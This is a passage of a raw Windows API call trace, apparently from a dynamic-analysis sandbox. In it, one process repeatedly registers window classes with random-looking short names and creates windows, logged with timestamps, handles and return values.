RegisterClassA (lpWndClass=0x261fae0) returned 0x5e0003c215 [0051.734] CreateWindowExA (dwExStyle=0x4, lpClassName="Fci", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.734] GetCurrentThreadId () returned 0xee0 [0051.734] GetClassNameA (in: hWnd=0x103b8, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Fci") returned 3 [0051.734] __fnINLPCREATESTRUCT () [0051.734] GetCurrentThreadId () returned 0xee0 [0051.734] GetClassNameA (in: hWnd=0x103b8, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Fci") returned 3 [0051.734] __fnINLPCREATESTRUCT () [0051.734] RegisterClassA (lpWndClass=0x261fae0) returned 0xb60004c216 [0051.734] CreateWindowExA (dwExStyle=0x4, lpClassName="Wsuuh", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.734] GetCurrentThreadId () returned 0xee0 [0051.734] GetClassNameA (in: hWnd=0x103ba, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Wsuuh") returned 5 [0051.734] __fnINLPCREATESTRUCT () [0051.734] GetCurrentThreadId () returned 0xee0 [0051.734] GetClassNameA (in: hWnd=0x103ba, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Wsuuh") returned 5 [0051.734] __fnINLPCREATESTRUCT () [0051.734] RegisterClassA (lpWndClass=0x261fae0) returned 0xba0002c217 [0051.734] CreateWindowExA (dwExStyle=0x4, lpClassName="Mdcuro", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.735] GetCurrentThreadId () returned 0xee0 [0051.735] GetClassNameA (in: hWnd=0x103bc, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Mdcuro") returned 6 [0051.735] __fnINLPCREATESTRUCT () [0051.735] GetCurrentThreadId () returned 0xee0 [0051.735] GetClassNameA (in: hWnd=0x103bc, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Mdcuro") returned 6 [0051.735] __fnINLPCREATESTRUCT () [0051.735] RegisterClassA (lpWndClass=0x261fae0) returned 0xbe0004c218 [0051.735] CreateWindowExA (dwExStyle=0x4, lpClassName="Uwyglz", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.735] GetCurrentThreadId () returned 0xee0 [0051.735] GetClassNameA (in: hWnd=0x103be, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Uwyglz") returned 6 [0051.735] __fnINLPCREATESTRUCT () [0051.735] GetCurrentThreadId () returned 0xee0 [0051.735] GetClassNameA (in: hWnd=0x103be, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Uwyglz") returned 6 [0051.735] __fnINLPCREATESTRUCT () [0051.735] RegisterClassA (lpWndClass=0x261fae0) returned 0xc20002c219 [0051.735] CreateWindowExA (dwExStyle=0x4, lpClassName="Hjsvw", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.735] GetCurrentThreadId () returned 0xee0 [0051.735] GetClassNameA (in: hWnd=0x103c0, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Hjsvw") returned 5 [0051.735] __fnINLPCREATESTRUCT () [0051.735] GetCurrentThreadId () returned 0xee0 [0051.735] GetClassNameA (in: hWnd=0x103c0, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Hjsvw") returned 5 [0051.735] __fnINLPCREATESTRUCT () [0051.736] RegisterClassA (lpWndClass=0x261fae0) returned 0xc60004c21a [0051.736] CreateWindowExA (dwExStyle=0x4, lpClassName="Xmkk", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.736] GetCurrentThreadId () returned 0xee0 [0051.736] GetClassNameA (in: hWnd=0x103c2, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Xmkk") returned 4 [0051.736] __fnINLPCREATESTRUCT () [0051.736] GetCurrentThreadId () returned 0xee0 [0051.736] GetClassNameA (in: hWnd=0x103c2, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Xmkk") returned 4 [0051.736] __fnINLPCREATESTRUCT () [0051.736] RegisterClassA (lpWndClass=0x261fae0) returned 0xca0002c21b [0051.736] CreateWindowExA (dwExStyle=0x4, lpClassName="Kiid", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.736] GetCurrentThreadId () returned 0xee0 [0051.736] GetClassNameA (in: hWnd=0x103c4, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Kiid") returned 4 [0051.736] __fnINLPCREATESTRUCT () [0051.736] GetCurrentThreadId () returned 0xee0 [0051.736] GetClassNameA (in: hWnd=0x103c4, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Kiid") returned 4 [0051.736] __fnINLPCREATESTRUCT () [0051.736] RegisterClassA (lpWndClass=0x261fae0) returned 0x620002c21c [0051.736] CreateWindowExA (dwExStyle=0x4, lpClassName="Far", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.736] GetCurrentThreadId () returned 0xee0 [0051.736] GetClassNameA (in: hWnd=0x103c6, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Far") returned 3 [0051.736] __fnINLPCREATESTRUCT () [0051.736] GetCurrentThreadId () returned 0xee0 [0051.736] GetClassNameA (in: hWnd=0x103c6, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Far") returned 3 [0051.736] __fnINLPCREATESTRUCT () [0051.737] RegisterClassA (lpWndClass=0x261fae0) returned 0xce0004c21d [0051.737] CreateWindowExA (dwExStyle=0x4, lpClassName="Hasa", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.737] GetCurrentThreadId () returned 0xee0 [0051.737] GetClassNameA (in: hWnd=0x103c8, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Hasa") returned 4 [0051.737] __fnINLPCREATESTRUCT () [0051.737] GetCurrentThreadId () returned 0xee0 [0051.737] GetClassNameA (in: hWnd=0x103c8, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Hasa") returned 4 [0051.737] __fnINLPCREATESTRUCT () [0051.737] RegisterClassA (lpWndClass=0x261fae0) returned 0xd20002c21e [0051.737] CreateWindowExA (dwExStyle=0x4, lpClassName="Nzccie", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.737] GetCurrentThreadId () returned 0xee0 [0051.737] GetClassNameA (in: hWnd=0x103ca, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Nzccie") returned 6 [0051.737] __fnINLPCREATESTRUCT () [0051.737] GetCurrentThreadId () returned 0xee0 [0051.737] GetClassNameA (in: hWnd=0x103ca, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Nzccie") returned 6 [0051.737] __fnINLPCREATESTRUCT () [0051.737] RegisterClassA (lpWndClass=0x261fae0) returned 0xd60004c21f [0051.737] CreateWindowExA (dwExStyle=0x4, lpClassName="Dzkp", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.737] GetCurrentThreadId () returned 0xee0 [0051.737] GetClassNameA (in: hWnd=0x103cc, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Dzkp") returned 4 [0051.738] __fnINLPCREATESTRUCT () [0051.738] GetCurrentThreadId () returned 0xee0 [0051.738] GetClassNameA (in: hWnd=0x103cc, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Dzkp") returned 4 [0051.738] __fnINLPCREATESTRUCT () [0051.738] RegisterClassA (lpWndClass=0x261fae0) returned 0xda0002c220 [0051.738] CreateWindowExA (dwExStyle=0x4, lpClassName="Hvnask", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.738] GetCurrentThreadId () returned 0xee0 [0051.738] GetClassNameA (in: hWnd=0x103ce, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Hvnask") returned 6 [0051.738] __fnINLPCREATESTRUCT () [0051.738] GetCurrentThreadId () returned 0xee0 [0051.738] GetClassNameA (in: hWnd=0x103ce, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Hvnask") returned 6 [0051.738] __fnINLPCREATESTRUCT () [0051.738] RegisterClassA (lpWndClass=0x261fae0) returned 0xde0004c221 [0051.738] CreateWindowExA (dwExStyle=0x4, lpClassName="Usdzi", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.738] GetCurrentThreadId () returned 0xee0 [0051.738] GetClassNameA (in: hWnd=0x103d0, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Usdzi") returned 5 [0051.738] __fnINLPCREATESTRUCT () [0051.738] GetCurrentThreadId () returned 0xee0 [0051.738] GetClassNameA (in: hWnd=0x103d0, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Usdzi") returned 5 [0051.738] __fnINLPCREATESTRUCT () [0051.738] RegisterClassA (lpWndClass=0x261fae0) returned 0x660003c222 [0051.738] CreateWindowExA (dwExStyle=0x4, lpClassName="Vjh", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.739] GetCurrentThreadId () returned 0xee0 [0051.739] GetClassNameA (in: hWnd=0x103d2, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Vjh") returned 3 [0051.739] __fnINLPCREATESTRUCT () [0051.739] GetCurrentThreadId () returned 0xee0 [0051.739] GetClassNameA (in: hWnd=0x103d2, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Vjh") returned 3 [0051.739] __fnINLPCREATESTRUCT () [0051.739] RegisterClassA (lpWndClass=0x261fae0) returned 0xe20002c223 [0051.739] CreateWindowExA (dwExStyle=0x4, lpClassName="Grrca", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.739] GetCurrentThreadId () returned 0xee0 [0051.739] GetClassNameA (in: hWnd=0x103d4, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Grrca") returned 5 [0051.739] __fnINLPCREATESTRUCT () [0051.739] GetCurrentThreadId () returned 0xee0 [0051.739] GetClassNameA (in: hWnd=0x103d4, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Grrca") returned 5 [0051.739] __fnINLPCREATESTRUCT () [0051.739] RegisterClassA (lpWndClass=0x261fae0) returned 0xe60004c224 [0051.739] CreateWindowExA (dwExStyle=0x4, lpClassName="Byax", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.739] GetCurrentThreadId () returned 0xee0 [0051.739] GetClassNameA (in: hWnd=0x103d6, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Byax") returned 4 [0051.739] __fnINLPCREATESTRUCT () [0051.739] GetCurrentThreadId () returned 0xee0 [0051.739] GetClassNameA (in: hWnd=0x103d6, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Byax") returned 4 [0051.739] __fnINLPCREATESTRUCT () [0051.739] RegisterClassA (lpWndClass=0x261fae0) returned 0xea0002c225 [0051.739] CreateWindowExA (dwExStyle=0x4, lpClassName="Xmuoq", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.740] GetCurrentThreadId () returned 0xee0 [0051.740] GetClassNameA (in: hWnd=0x103d8, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Xmuoq") returned 5 [0051.740] __fnINLPCREATESTRUCT () [0051.740] GetCurrentThreadId () returned 0xee0 [0051.740] GetClassNameA (in: hWnd=0x103d8, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Xmuoq") returned 5 [0051.740] __fnINLPCREATESTRUCT () [0051.740] RegisterClassA (lpWndClass=0x261fae0) returned 0xee0004c226 [0051.740] CreateWindowExA (dwExStyle=0x4, lpClassName="Zcow", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.740] GetCurrentThreadId () returned 0xee0 [0051.740] GetClassNameA (in: hWnd=0x103da, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Zcow") returned 4 [0051.740] __fnINLPCREATESTRUCT () [0051.740] GetCurrentThreadId () returned 0xee0 [0051.740] GetClassNameA (in: hWnd=0x103da, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Zcow") returned 4 [0051.740] __fnINLPCREATESTRUCT () [0051.740] RegisterClassA (lpWndClass=0x261fae0) returned 0xf20002c227 [0051.740] CreateWindowExA (dwExStyle=0x4, lpClassName="Eidqtq", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.740] GetCurrentThreadId () returned 0xee0 [0051.740] GetClassNameA (in: hWnd=0x103dc, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Eidqtq") returned 6 [0051.740] __fnINLPCREATESTRUCT () [0051.740] GetCurrentThreadId () returned 0xee0 [0051.740] GetClassNameA (in: hWnd=0x103dc, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Eidqtq") returned 6 [0051.740] __fnINLPCREATESTRUCT () [0051.740] RegisterClassA (lpWndClass=0x261fae0) returned 0xf60004c228 [0051.740] CreateWindowExA (dwExStyle=0x4, lpClassName="Thfjoa", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.741] GetCurrentThreadId () returned 0xee0 [0051.741] GetClassNameA (in: hWnd=0x103de, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Thfjoa") returned 6 [0051.741] __fnINLPCREATESTRUCT () [0051.741] GetCurrentThreadId () returned 0xee0 [0051.741] GetClassNameA (in: hWnd=0x103de, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Thfjoa") returned 6 [0051.741] __fnINLPCREATESTRUCT () [0051.741] RegisterClassA (lpWndClass=0x261fae0) returned 0xfa0002c229 [0051.741] CreateWindowExA (dwExStyle=0x4, lpClassName="Fgrx", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.741] GetCurrentThreadId () returned 0xee0 [0051.741] GetClassNameA (in: hWnd=0x103e0, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Fgrx") returned 4 [0051.741] __fnINLPCREATESTRUCT () [0051.741] GetCurrentThreadId () returned 0xee0 [0051.741] GetClassNameA (in: hWnd=0x103e0, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Fgrx") returned 4 [0051.741] __fnINLPCREATESTRUCT () [0051.741] RegisterClassA (lpWndClass=0x261fae0) returned 0xfe0004c22a [0051.741] CreateWindowExA (dwExStyle=0x4, lpClassName="Nptpl", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.741] GetCurrentThreadId () returned 0xee0 [0051.741] GetClassNameA (in: hWnd=0x103e2, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Nptpl") returned 5 [0051.741] __fnINLPCREATESTRUCT () [0051.741] GetCurrentThreadId () returned 0xee0 [0051.741] GetClassNameA (in: hWnd=0x103e2, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Nptpl") returned 5 [0051.742] __fnINLPCREATESTRUCT () [0051.742] RegisterClassA (lpWndClass=0x261fae0) returned 0x1020002c22b [0051.742] CreateWindowExA (dwExStyle=0x4, lpClassName="Arjj", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.742] GetCurrentThreadId () returned 0xee0 [0051.742] GetClassNameA (in: hWnd=0x103e4, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Arjj") returned 4 [0051.742] __fnINLPCREATESTRUCT () [0051.742] GetCurrentThreadId () returned 0xee0 [0051.742] GetClassNameA (in: hWnd=0x103e4, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Arjj") returned 4 [0051.742] __fnINLPCREATESTRUCT () [0051.742] RegisterClassA (lpWndClass=0x261fae0) returned 0x1060004c22c [0051.742] CreateWindowExA (dwExStyle=0x4, lpClassName="Mtdp", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.742] GetCurrentThreadId () returned 0xee0 [0051.742] GetClassNameA (in: hWnd=0x103e6, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Mtdp") returned 4 [0051.742] __fnINLPCREATESTRUCT () [0051.742] GetCurrentThreadId () returned 0xee0 [0051.742] GetClassNameA (in: hWnd=0x103e6, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Mtdp") returned 4 [0051.742] __fnINLPCREATESTRUCT () [0051.742] RegisterClassA (lpWndClass=0x261fae0) returned 0x6a0002c22d [0051.742] CreateWindowExA (dwExStyle=0x4, lpClassName="Asa", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.742] GetCurrentThreadId () returned 0xee0 [0051.742] GetClassNameA (in: hWnd=0x103e8, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Asa") returned 3 [0051.742] __fnINLPCREATESTRUCT () [0051.742] GetCurrentThreadId () returned 0xee0 [0051.743] GetClassNameA (in: hWnd=0x103e8, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Asa") returned 3 [0051.743] __fnINLPCREATESTRUCT () [0051.743] RegisterClassA (lpWndClass=0x261fae0) returned 0x6e0003c22e [0051.743] CreateWindowExA (dwExStyle=0x4, lpClassName="Atb", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.743] GetCurrentThreadId () returned 0xee0 [0051.743] GetClassNameA (in: hWnd=0x103ea, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Atb") returned 3 [0051.743] __fnINLPCREATESTRUCT () [0051.743] GetCurrentThreadId () returned 0xee0 [0051.743] GetClassNameA (in: hWnd=0x103ea, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Atb") returned 3 [0051.743] __fnINLPCREATESTRUCT () [0051.743] RegisterClassA (lpWndClass=0x261fae0) returned 0x10a0002c22f [0051.743] CreateWindowExA (dwExStyle=0x4, lpClassName="Qedsyl", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.743] GetCurrentThreadId () returned 0xee0 [0051.743] GetClassNameA (in: hWnd=0x103ec, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Qedsyl") returned 6 [0051.743] __fnINLPCREATESTRUCT () [0051.743] GetCurrentThreadId () returned 0xee0 [0051.743] GetClassNameA (in: hWnd=0x103ec, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Qedsyl") returned 6 [0051.743] __fnINLPCREATESTRUCT () [0051.743] RegisterClassA (lpWndClass=0x261fae0) returned 0x10e0004c230 [0051.743] CreateWindowExA (dwExStyle=0x4, lpClassName="Kzrjmu", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.743] GetCurrentThreadId () returned 0xee0 [0051.743] GetClassNameA (in: hWnd=0x103ee, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Kzrjmu") returned 6 [0051.744] __fnINLPCREATESTRUCT () [0051.744] GetCurrentThreadId () returned 0xee0 [0051.744] GetClassNameA (in: hWnd=0x103ee, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Kzrjmu") returned 6 [0051.744] __fnINLPCREATESTRUCT () [0051.744] RegisterClassA (lpWndClass=0x261fae0) returned 0x1120002c231 [0051.744] CreateWindowExA (dwExStyle=0x4, lpClassName="Inswhx", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.744] GetCurrentThreadId () returned 0xee0 [0051.744] GetClassNameA (in: hWnd=0x103f0, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Inswhx") returned 6 [0051.744] __fnINLPCREATESTRUCT () [0051.744] GetCurrentThreadId () returned 0xee0 [0051.744] GetClassNameA (in: hWnd=0x103f0, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Inswhx") returned 6 [0051.744] __fnINLPCREATESTRUCT () [0051.744] RegisterClassA (lpWndClass=0x261fae0) returned 0x1160004c232 [0051.744] CreateWindowExA (dwExStyle=0x4, lpClassName="Uoywco", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.744] GetCurrentThreadId () returned 0xee0 [0051.744] GetClassNameA (in: hWnd=0x103f2, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Uoywco") returned 6 [0051.744] __fnINLPCREATESTRUCT () [0051.744] GetCurrentThreadId () returned 0xee0 [0051.744] GetClassNameA (in: hWnd=0x103f2, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Uoywco") returned 6 [0051.744] __fnINLPCREATESTRUCT () [0051.744] RegisterClassA (lpWndClass=0x261fae0) returned 0x720002c233 [0051.744] CreateWindowExA (dwExStyle=0x4, lpClassName="Zfu", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.744] GetCurrentThreadId () returned 0xee0 [0051.744] GetClassNameA (in: hWnd=0x103f4, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Zfu") returned 3 [0051.745] __fnINLPCREATESTRUCT () [0051.745] GetCurrentThreadId () returned 0xee0 [0051.745] GetClassNameA (in: hWnd=0x103f4, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Zfu") returned 3 [0051.745] __fnINLPCREATESTRUCT () [0051.745] RegisterClassA (lpWndClass=0x261fae0) returned 0x760003c234 [0051.745] CreateWindowExA (dwExStyle=0x4, lpClassName="Ubw", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.745] GetCurrentThreadId () returned 0xee0 [0051.745] GetClassNameA (in: hWnd=0x103f6, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Ubw") returned 3 [0051.745] __fnINLPCREATESTRUCT () [0051.745] GetCurrentThreadId () returned 0xee0 [0051.745] GetClassNameA (in: hWnd=0x103f6, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Ubw") returned 3 [0051.745] __fnINLPCREATESTRUCT () [0051.745] RegisterClassA (lpWndClass=0x261fae0) returned 0x11a0002c235 [0051.745] CreateWindowExA (dwExStyle=0x4, lpClassName="Gaqa", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.745] GetCurrentThreadId () returned 0xee0 [0051.745] GetClassNameA (in: hWnd=0x103f8, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Gaqa") returned 4 [0051.745] __fnINLPCREATESTRUCT () [0051.745] GetCurrentThreadId () returned 0xee0 [0051.745] GetClassNameA (in: hWnd=0x103f8, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Gaqa") returned 4 [0051.745] __fnINLPCREATESTRUCT () [0051.745] RegisterClassA (lpWndClass=0x261fae0) returned 0x7a0002c236 [0051.745] CreateWindowExA (dwExStyle=0x4, lpClassName="Wpt", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.745] GetCurrentThreadId () returned 0xee0 [0051.745] GetClassNameA (in: hWnd=0x103fa, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Wpt") returned 3 [0051.745] __fnINLPCREATESTRUCT () [0051.746] GetCurrentThreadId () returned 0xee0 [0051.746] GetClassNameA (in: hWnd=0x103fa, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Wpt") returned 3 [0051.746] __fnINLPCREATESTRUCT () [0051.746] RegisterClassA (lpWndClass=0x261fae0) returned 0x11e0004c237 [0051.746] CreateWindowExA (dwExStyle=0x4, lpClassName="Sskfwi", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.746] GetCurrentThreadId () returned 0xee0 [0051.746] GetClassNameA (in: hWnd=0x103fc, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Sskfwi") returned 6 [0051.746] __fnINLPCREATESTRUCT () [0051.746] GetCurrentThreadId () returned 0xee0 [0051.746] GetClassNameA (in: hWnd=0x103fc, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Sskfwi") returned 6 [0051.746] __fnINLPCREATESTRUCT () [0051.746] RegisterClassA (lpWndClass=0x261fae0) returned 0x1220002c238 [0051.746] CreateWindowExA (dwExStyle=0x4, lpClassName="Miwf", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.746] GetCurrentThreadId () returned 0xee0 [0051.746] GetClassNameA (in: hWnd=0x103fe, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Miwf") returned 4 [0051.746] __fnINLPCREATESTRUCT () [0051.746] GetCurrentThreadId () returned 0xee0 [0051.746] GetClassNameA (in: hWnd=0x103fe, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Miwf") returned 4 [0051.746] __fnINLPCREATESTRUCT () [0051.746] RegisterClassA (lpWndClass=0x261fae0) returned 0x7e0003c239 [0051.746] CreateWindowExA (dwExStyle=0x4, lpClassName="Vyy", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.747] GetCurrentThreadId () returned 0xee0 [0051.747] GetClassNameA (in: hWnd=0x10400, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Vyy") returned 3 [0051.747] __fnINLPCREATESTRUCT () [0051.747] RegisterClassA (lpWndClass=0x261fae0) returned 0x1260004c23a [0051.747] CreateWindowExA (dwExStyle=0x4, lpClassName="Qjfslz", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.748] RegisterClassA (lpWndClass=0x261fae0) returned 0x820002c23b [0051.748] CreateWindowExA (dwExStyle=0x4, lpClassName="Kkv", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.748] RegisterClassA (lpWndClass=0x261fae0) returned 0x12a0002c23c [0051.748] CreateWindowExA (dwExStyle=0x4, lpClassName="Taioy", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.748] RegisterClassA (lpWndClass=0x261fae0) returned 0x12e0004c23d [0051.749] CreateWindowExA (dwExStyle=0x4, lpClassName="Hmmmu", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.749] RegisterClassA (lpWndClass=0x261fae0) returned 0x1320002c23e [0051.749] CreateWindowExA (dwExStyle=0x4, lpClassName="Oxbwoh", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, 